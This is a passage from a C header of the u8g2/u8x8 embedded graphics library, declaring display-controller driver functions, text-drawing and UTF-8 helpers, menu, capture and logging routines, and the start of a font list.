*arg_ptr);\nuint8_t u8x8_d_sh1107_128x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1107_pimoroni_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1107_seeed_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1107_hjr_oel1m0201_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1107_tk078f288_80x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1108_128x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1108_160x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1122_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7920_144x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7920_160x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7920_192x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7920_256x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7920_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ls013b7dh03_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ls027b7dh01_400x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ls027b7dh01_m0_400x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ls013b7dh05_144x168(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7511_avd_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7528_nhd_c160100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7528_erc16064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7539_192x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_ea_dogm128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_lm6063(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_64128n(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_ea_dogm132(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_zolen_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_nhd_c12832(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_nhd_c12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_lm6059(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_ks0713(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_lx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_erc12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7565_erc12864_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);  /* issue #790 */\nuint8_t u8x8_d_st7567_pi_132x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7567_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7567_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7567_enh_dg128064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7567_enh_dg128064i(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7567_64x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7567_hem6432(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7567_os12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7567_erc13232(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7571_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7571_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7586s_s028hn118a(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7586s_jlx384160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7586s_erc240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7586s_ymc240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st7588_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75160_jm16096(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75256_jlx256128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75256_wo256x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75256_jlx256160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75256_jlx256160m(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75256_jlx256160_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75256_jlx240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75256_jlx25664(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75256_jlx172104(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75256_jlx19296(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75256_jlx16080(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_st75320_jlx320240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\t/* https://github.com/olikraus/u8g2/issues/921 */\nuint8_t u8x8_d_nt7534_tg12864r(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* u8x8_d_st7565.c */\nuint8_t u8x8_d_ld7032_60x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ld7032_60x32_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ld7032_128x36(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_t6963_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_t6963_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_t6963_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_t6963_128x64_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_t6963_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_t6963_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1316_128x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1316_96x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1317_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1318_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1318_128x96_xcp(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1320_160x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1320_160x132(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1320_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1322_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1322_nhd_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1322_nhd_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1362_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1362_206x36(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_a2printer_384x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sed1330_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sed1330_256x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sed1330_320x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ra8835_nhd_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ra8835_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1325_nhd_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd0323_os128064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1327_ws_96x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1327_seeed_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1327_ea_w128128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1327_midas_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1327_zjy_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1327_ws_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1327_visionox_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1326_er_256x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1329_128x96_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1329_96x96_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1601_128x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1601_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1604_jlx19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1608_erc24064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1608_dem240064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1608_erc240120(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1608_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1609_slg19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1610_ea_dogxl160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1611_ea_dogm240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1611_ea_dogxl240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1611_ew50850(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);  /* 240x160 */\nuint8_t u8x8_d_uc1611_cg160160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* 160x160 */\nuint8_t u8x8_d_uc1617_jlx128128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1611_ids4073(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* 256x128 */\nuint8_t u8x8_d_uc1638_160x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1638_192x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1638_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ks0108_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ks0108_erm19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_t7932_150x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* t7932 and hd44102 are compatible */\nuint8_t u8x8_d_hd44102_100x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* t7932 and hd44102 are compatible */\nuint8_t u8x8_d_sbn1661_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sed1520_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_pcd8544_84x48(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_pcf8812_96x65(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_hx1230_96x68(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1606_172x72(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1607_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1607_v2_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1607_gd_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1607_ws_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* issue 637 */\nuint8_t u8x8_d_il3820_296x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_il3820_v2_296x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_lc7981_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_lc7981_160x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_lc7981_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_lc7981_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_lc7981_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ist3020_erc19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ist3088_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ist7920_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_max7219_64x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_max7219_32x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_max7219_16x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_max7219_8x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_s1d15e06_160100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_s1d15300_lm6023(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_s1d15721_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_gu800_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_gu800_160x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_gp1287ai_256x50(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_gp1247ai_253x63(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\n\n\n\n/*==========================================*/\n/* u8x8_8x8.c */\n\nuint16_t u8x8_upscale_byte(uint8_t x) U8X8_NOINLINE;\n\n\nvoid u8x8_utf8_init(u8x8_t *u8x8);\nuint16_t u8x8_ascii_next(u8x8_t *u8x8, uint8_t b);\nuint16_t u8x8_utf8_next(u8x8_t *u8x8, uint8_t b);\n// the following two functions are replaced by the init/next functions \n//uint16_t u8x8_get_encoding_from_utf8_string(const char **str);\n//uint16_t u8x8_get_char_from_string(const char **str);\n\nvoid u8x8_SetFont(u8x8_t *u8x8, const uint8_t *font_8x8);\nvoid u8x8_DrawGlyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding);\nvoid u8x8_Draw2x2Glyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding);\nvoid u8x8_Draw1x2Glyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding);\nuint8_t u8x8_DrawString(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s);\nuint8_t u8x8_DrawUTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s);\t/* return number of glyps */\nuint8_t u8x8_Draw2x2String(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s);\nuint8_t u8x8_Draw2x2UTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s);\nuint8_t u8x8_Draw1x2String(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s);\nuint8_t u8x8_Draw1x2UTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s);\nuint8_t u8x8_GetUTF8Len(u8x8_t *u8x8, const char *s);\n#define u8x8_SetInverseFont(u8x8, b) (u8x8)->is_font_inverse_mode = (b)\n\n/*==========================================*/\n/* itoa procedures */\nconst char *u8x8_u8toa(uint8_t v, uint8_t d);\nconst char *u8x8_u16toa(uint16_t v, uint8_t d);\nconst char *u8x8_utoa(uint16_t v);\n\n\n/*==========================================*/\n/* u8x8_string.c */\n\nuint8_t u8x8_GetStringLineCnt(const char *str);  /* return 0 for str==NULL */\nconst char *u8x8_GetStringLineStart(uint8_t line_idx, const char *str );\nvoid u8x8_CopyStringLine(char *dest, uint8_t line_idx, const char *str);\n/* draw one line, consider \\t for center */\nuint8_t u8x8_DrawUTF8Line(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t w, const char *s);\n/* draw multiple lines, handle \\t */\nuint8_t u8x8_DrawUTF8Lines(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t w, const char *s);\n\n/*==========================================*/\n\n/* u8x8_selection_list.c */\nstruct _u8sl_struct\n{\n  uint8_t visible;\t\t/* number of visible elements in the menu */\n  uint8_t total;\t\t\t/* total number of elements in the menu */\n  uint8_t first_pos;\t\t/* position of the first visible line */\n  uint8_t current_pos;\t/* current cursor position, starts at 0 */  \n  \n  uint8_t x;\t\t/* u8x8 only, not used in u8g2 */\n  uint8_t y;\t\t/* u8x8 only, not used in u8g2 */\n};\ntypedef struct _u8sl_struct u8sl_t;\n\ntypedef void (*u8x8_sl_cb)(u8x8_t *u8x8, u8sl_t *u8sl, uint8_t idx, const void *aux);\n\nvoid u8sl_Next(u8sl_t *u8sl);\nvoid u8sl_Prev(u8sl_t *u8sl);\n\nuint8_t u8x8_UserInterfaceSelectionList(u8x8_t *u8x8, const char *title, uint8_t start_pos, const char *sl);\n\n/*==========================================*/\n\n/* u8x8_message.c  */\nuint8_t u8x8_UserInterfaceMessage(u8x8_t *u8x8, const char *title1, const char *title2, const char *title3, const char *buttons);\n\n/*==========================================*/\n/* u8x8_capture.c */\n\n/* vertical_top memory architecture */\nuint8_t u8x8_capture_get_pixel_1(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width);\n\n/* horizontal right memory architecture */\n/* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ \nuint8_t u8x8_capture_get_pixel_2(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width);\n\n\n\nvoid u8x8_capture_write_pbm_pre(uint8_t tile_width, uint8_t tile_height, void (*out)(const char *s));\nvoid u8x8_capture_write_pbm_buffer(uint8_t *buffer, uint8_t tile_width, uint8_t tile_height, uint8_t (*get_pixel)(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width), void (*out)(const char *s));\n\nvoid u8x8_capture_write_xbm_pre(uint8_t tile_width, uint8_t tile_height, void (*out)(const char *s));\nvoid u8x8_capture_write_xbm_buffer(uint8_t *buffer, uint8_t tile_width, uint8_t tile_height, uint8_t (*get_pixel)(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width), void (*out)(const char *s));\n\n\n\n/*==========================================*/\n\n/* u8x8_input_value.c  */\n\nuint8_t u8x8_UserInterfaceInputValue(u8x8_t *u8x8, const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post);\n\n/*==========================================*/\n/* u8log.c */\nvoid u8log_Init(u8log_t *u8log, uint8_t width, uint8_t height, uint8_t *buf);\nvoid u8log_SetCallback(u8log_t *u8log, u8log_cb cb, void *aux_data);\nvoid u8log_SetRedrawMode(u8log_t *u8log, uint8_t is_redraw_line_for_each_char);\nvoid u8log_SetLineHeightOffset(u8log_t *u8log, int8_t line_height_offset);\nvoid u8log_WriteString(u8log_t *u8log, const char *s) U8X8_NOINLINE;\nvoid u8log_WriteChar(u8log_t *u8log, uint8_t c) U8X8_NOINLINE;\nvoid u8log_WriteHex8(u8log_t *u8log, uint8_t b) U8X8_NOINLINE;\nvoid u8log_WriteHex16(u8log_t *u8log, uint16_t v);\nvoid u8log_WriteHex32(u8log_t *u8log, uint32_t v);\nvoid u8log_WriteDec8(u8log_t *u8log, uint8_t v, uint8_t d);\nvoid u8log_WriteDec16(u8log_t *u8log, uint16_t v, uint8_t d);\n\n/*==========================================*/\n/* u8log_u8x8.c */\nvoid u8x8_DrawLog(u8x8_t *u8x8, uint8_t x, uint8_t y, u8log_t *u8log);\nvoid u8log_u8x8_cb(u8log_t * u8log);\n\n\n/*==========================================*/\n/* start font list */\nextern const uint8_t u8x8_font_amstrad_cpc_extended_f[] U8X8_FONT_SECTION(\"u8x8_font_amstrad_cpc_extended_f\");\nextern const uint8_t u8x8_font_amstrad_cpc_extended_r[] U8X8_FONT_SECTION(\"u8x8_font_amstrad_cpc_extended_r\");\nextern const uint8_t u8x8_font_amstrad_cpc_extended_n[] U8X8_FONT_SECTION(\"u8x8_font_amstrad_cpc_extended_n\");\nextern const uint8_t u8x8_font_amstrad_cpc_extended_u[] U8X8_FONT_SECTION(\"u8x8_font_amstrad_cpc_extended_u\");\nextern const uint8_t u8x8_font_5x7_f[] U8X8_FONT_SECTION(\"u8x8_font_5x7_f\");\nextern const uint8_t u8x8_font_5x7_r[] U8X8_FONT_SECTION(\"u8x8_font_5x7_r\");\nextern const uint8_t u8x8_font_5x7_n[] U8X8_FONT_SECTION(\"u8x8_font_5x7_n\");\nextern const uint8_t u8x8_font_5x8_f[] U8X8_FONT_SECTION(\"u8x8_font_5x8_f\");\nextern const uint8_t u8x8_font_5x8_r[] U8X8_FONT_SECTION(\"u8x8_font_5x8_r\");\nextern const uint8_t u8x8_font_5x8_n[] U8X8_FONT_SECTION(\"u8x8_font_5x8_n\");\nextern const uint8_t u8x8_font_8x13_1x2_f[] U8X8_FONT_SECTION(\"u8x8_font_8x13_1x2_f\");\nextern const uint8_t u8x8_font_8x13_1x2_r[] U8X8_FONT_SECTION(\"u8x8_font_8x13_1x2_r\");\nextern const uint8_t u8x8_font_8x13_1x2_n[] U8X8_FONT_SECTION(\"u8x8_font_8x13_1x2_n\");\nextern const uint8_t u8x8_font_8x13B_1x2_f[] U8X8_FONT_SECTION(\"u8x8_font_8x13B_1x2_f\");\nextern const uint8_t u8x8_font_8x13B_1x2_r[] U8X8_FONT_SECTION(\"u8x8_font_8x13B_1x2_r\");\nextern const uint8_t u8x8_font_8x13B_1x2_n[] U8X8_FONT_SECTION(\"u8x8_font_8x13B_1x2_n\");\nextern const uint8_t u8x8_font_7x14_1x2_f[] U8X8_FONT_SECTION(\"u8x8_font_7x14_1x2_f\");\nextern const uint8_t u8x8_font_7x14_1x2_r[] U8X8_FONT_SECTION(\"u8x8_font_7x14_1x2_r\");\nextern const uint8_t u8x8_font_7x14_1x2_n[] U8X8_FONT_SECTION(\"u8x8_font_7x14_1x2_n\");\nextern const uint8_t u8x8_font_7x14B_1x2_f[] U8X8_FONT_SECTION(\"u8x8_font_7x14B_1x2_f\");\nextern const uint8_t u8x8_font_7x14B_1x2_r[] U8X8_FONT_SECTION(\"u8x8_font_7x14B_1x2_r\");\nextern const uint8_t u8x8_font_7x14B_1x2_n[] U8X8_FONT_SECTION(\"u8x8_font_7x14B_1x2_n\");\nextern const uint8_t u8x8_font_open_iconic_arrow_1x1[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_arrow_1x1\");\nextern const uint8_t u8x8_font_open_iconic_check_1x1[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_check_1x1\");\nextern const uint8_t u8x8_font_open_iconic_embedded_1x1[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_embedded_1x1\");\nextern const uint8_t u8x8_font_open_iconic_play_1x1[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_play_1x1\");\nextern const uint8_t u8x8_font_open_iconic_thing_1x1[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_thing_1x1\");\nextern const uint8_t u8x8_font_open_iconic_weather_1x1[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_weather_1x1\");\nextern const uint8_t u8x8_font_open_iconic_arrow_2x2[] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_arrow_2x2\");\nextern const uint8_t u8x8_font_open_iconic_check_2x2[] 